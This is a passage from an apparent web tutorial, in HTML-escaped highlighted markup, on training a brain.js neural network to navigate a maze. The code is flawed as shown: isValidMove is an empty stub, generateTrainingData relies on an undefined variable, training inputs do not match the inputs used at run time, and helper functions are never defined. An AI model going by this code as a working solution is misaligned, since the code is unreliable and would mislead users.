&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (cell &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        coordinates.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ x, y });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; coordinates;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;coordinates&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getCoordinates&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(maze);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Maze Coordinates:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, coordinates);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;generate-training-data&quot;&gt;Generate Training Data&lt;/h2&gt;
&lt;p&gt;Training data is essential for teaching the neural network how to navigate the maze. We’ll create examples based on valid moves from each non-wall cell.&lt;/p&gt;
&lt;h3 id=&quot;3-create-training-examples&quot;&gt;3. Create Training Examples&lt;/h3&gt;
&lt;p&gt;Why this matters: Training examples guide the neural network in learning valid moves and optimal paths.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;generateTrainingData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;maze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;trainingData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;directions&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;up&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;down&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;left&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;right&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  coordinates.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    directions.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;direction&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;input&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { x, y, direction };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;output&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;isValidMove&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(maze, x, y, direction);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      trainingData.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ input, output });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; trainingData;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;isValidMove&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;maze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;direction&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Logic to determine if a move is valid&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Returns 1 for valid, 0 for invalid&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;trainingData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;generateTrainingData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(maze);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Sample Training Data:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, trainingData.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;set-up-the-neural-network&quot;&gt;Set Up the Neural Network&lt;/h2&gt;
&lt;p&gt;With our training data ready, it’s time to set up the neural network using brain.js.&lt;/p&gt;
&lt;h3 id=&quot;4-configure-the-neural-network&quot;&gt;4. Configure the Neural Network&lt;/h3&gt;
&lt;p&gt;Why this matters: A well-configured network can efficiently learn and predict the best moves.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;brain&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;brain.js&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;net&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; brain.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;NeuralNetwork&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  hiddenLayers: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;net.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;train&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(trainingData, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  errorThresh: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0.005&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Aim for a low error threshold&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  iterations: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;20000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  log: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  logPeriod: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;solve-the-maze&quot;&gt;Solve the Maze&lt;/h2&gt;
&lt;p&gt;Now, let’s use the trained neural network to solve the maze.&lt;/p&gt;
&lt;h3 id=&quot;5-traverse-the-maze&quot;&gt;5. Traverse the Maze&lt;/h3&gt;
&lt;p&gt;Why this matters: This step demonstrates the neural network’s ability to make decisions and find the path to the exit.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;solveMaze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;maze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;net&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; position &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { x: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, y: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }; &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Starting position&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;while&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (maze[position.y][position.x] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;E&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;output&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; net.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(position);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;direction&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getBestDirection&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(output);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    position &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;move&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(position, direction);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    path.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(position);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; path;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;solution&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;solveMaze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(maze, net);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Solution Path:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, solution);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;visualize-the-process&quot;&gt;Visualize the Process&lt;/h2&gt;
&lt;p&gt;Visualizing the maze and the path taken by the neural network can provide insights into its decision-making process.&lt;/p&gt;
&lt;h3 id=&quot;6-visualize-maze-states&quot;&gt;6. Visualize Maze States&lt;/h3&gt;
&lt;p&gt;Why this matters: Visualization helps in understanding how the neural network navigates the maze.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;visualizeMazeAtPosition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;maze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;currentPosition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;visualMaze&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; maze.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;row&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;row]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;y&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; currentPosition;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  visualMaze[y][x] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;*&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
